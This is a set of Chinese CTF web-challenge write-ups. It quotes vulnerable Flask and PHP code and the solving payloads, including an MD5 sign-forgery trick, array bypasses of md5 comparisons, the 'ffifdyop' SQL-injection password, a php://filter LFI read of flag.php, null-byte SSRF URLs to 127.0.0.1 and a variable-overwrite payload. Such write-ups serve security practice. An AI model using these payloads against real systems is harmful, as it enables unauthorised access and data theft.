1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) def checkSign (self ): if (getSign(self .action, self .param) == self .sign): return True else : return False def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
此处需要满足self.checkSign()
需要满足getSign(self.action, self.param) == self.sign
需要hashlib.md5(secert_key + param + action).hexdigest()== self.sign
就等同于hashlib.md5(secert_key + ‘flag.txt’ + ‘scanread’).hexdigest()== self.sign
所以我们要得到secert_key + ‘flag.txt’ + ‘scanread’的哈希值
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
注意到/geneSign中已经将action定为scan ,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’
/geneSign?param=flag.txtread
得到了哈希值efa325f1a9f0f3244cfb88e9e227fb9f
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
然后访问/De1ta
cookie值传参action和sign
1 2 3 /De1ta?param =flag.txt Cookie:action =readscan;sign=efa325f1a9f0f3244cfb88e9e227fb9f
[GDOUCTF 2023]EZ WEB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import flask app = flask.Flask(__name__)@app.route('/' , methods=['GET' ] ) def index (): return flask.send_file('index.html' )@app.route('/src' , methods=['GET' ] ) def source (): return flask.send_file('app.py' )@app.route('/super-secret-route-nobody-will-guess' , methods=['PUT' ] ) def flag (): return open ('flag' ).read()
/super-secret-route-nobody-will-guess在这个路径下运用put方式传参即可获得flag
用bp抓包
[SWPUCTF 2022 新生赛]奇妙的MD5 看到了一个登录界面,题目提示是md5.就用一个MD5万能密码:ffifdyop
跳转后ctrl+u查看源码
利用数组进行绕过
?x[]=1&y[]=2
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['wqh' ]!==$_POST ['dsy' ]&&md5 ($_POST ['wqh' ])===md5 ($_POST ['dsy' ])){ echo $FLAG ; }
依旧是数组绕过
wqh[]=1&dsy[]=2
[HNCTF 2022 Week1]easy_html
查看/.%2Ff14g.php
看到了登陆界面
将最大长度改为11,然后输入11位数字
[羊城杯 2020]easycon 进行目录扫描
先访问index.php
弹窗显示alert(‘eval post cmd’),POST传参参数为cmd
查看bbbbbbbbb.txt
给了一堆不知道是什么的,像编码
是图片的编码,转为图片得到flag
[MoeCTF 2022]baby_file 1 2 3 4 5 6 7 8 9 10 11 12 <html> <title>Here's a secret. Can you find it?</title> <?php if(isset($_GET[' file'])){ $file = $_GET[' file']; include($file); }else{ highlight_file(__FILE__); } ?> </html>
?file=php://filter/read=convert.base64-encode/resource=flag.php
[GKCTF 2020]cve版签到
1 ?url=http:// 127.0 .0 .1 %00www .ctfhub.com
1 ?url=http:// 127.0 .0.123 %00www .ctfhub.com
[GDOUCTF 2023]受不了一点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting (0 );header ("Content-type:text/html;charset=utf-8" );if (isset ($_POST ['gdou' ])&&isset ($_POST ['ctf' ])){ $b =$_POST ['ctf' ]; $a =$_POST ['gdou' ]; if ($_POST ['gdou' ]!=$_POST ['ctf' ] && md5 ($a )===md5 ($b )){ if (isset ($_COOKIE ['cookie' ])){ if ($_COOKIE ['cookie' ]=='j0k3r' ){ if (isset ($_GET ['aaa' ]) && isset ($_GET ['bbb' ])){ $aaa =$_GET ['aaa' ]; $bbb =$_GET ['bbb' ]; if ($aaa ==114514 && $bbb ==114514 && $aaa !=$bbb ){ $give = 'cancanwordflag' ; $get ='hacker!' ; if (isset ($_GET ['flag' ]) && isset ($_POST ['flag' ])){ die ($give ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ die ($get ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo $flag ; }else { echo "洗洗睡吧" ; } }else { echo "行不行啊细狗" ; } } } else { echo '菜菜' ; } }else { echo "就这?" ; } }else { echo "别来沾边" ; }?> 别来沾边
需要在post传参GET传参中用数组绕过
payload
1 2 3 ?aaa = 114514 a&bbb =114514 &1 =flag&flag =1 gdou[]=1 &ctf []=2 cookie = j0k3r
[HNCTF 2022 Week1]Interesting_http
猜测post传参参数为want
bp抓包
提示notadmin,修改cookie
提示不是这个地址,就用本地绕过
[HNCTF 2022 Week1]What is Web 查看源码在最后找到了这个base64编码
用在线网站解码即可得到flag